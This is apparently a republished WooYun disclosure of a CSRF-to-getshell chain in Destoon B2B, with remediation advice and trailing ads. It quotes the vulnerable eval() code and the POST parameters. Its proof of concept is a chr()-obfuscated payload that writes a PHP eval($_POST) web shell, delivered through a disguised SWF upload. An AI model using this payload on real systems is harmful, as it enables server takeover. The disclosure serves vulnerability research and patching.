Destoon B2B csrf getshell
- 发布时间: 2014-05-27
- 公开时间: 2014-08-25
- 漏洞类型: csrf
- 危害等级: 中
- 漏洞编号: WooYun-2014-62435
- 测试版本:2014-05-21
简要描述
上传问题+csrf+后台任意命令执行 = csrf getshell详细说明
先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}
漏洞证明
首先把请求抓出来 精简参数 得到命令执行的最简参数如下moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'
由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}
下面来制作一个csrf的swf

<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>



修复方案
- 命令执行 非必要别用双引号
- csrf 后台操作需要加token验referer
- 上传文件不光要检查后缀,文件内容也要查
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 中华民族的文化根脉 7904338
- 2 王曼昱4比2战胜孙颖莎 夺女单冠军 7809053
- 3 王楚钦横扫小勒布伦 加冕三冠王 7713271
- 4 中秋“硬核”赏月指南来了 7617481
- 5 “环保少女”被曝在狱中遭以军虐待 7523373
- 6 四川考古新发现:明代石刻写禁止早婚 7426641
- 7 用微信收付款这个功能一定要开启 7328074
- 8 朝鲜武器展震撼登场 7231398
- 9 广东省委书记:迅速进入战时状态 7135304
- 10 越来越多人爱上了“窝囊游” 7043742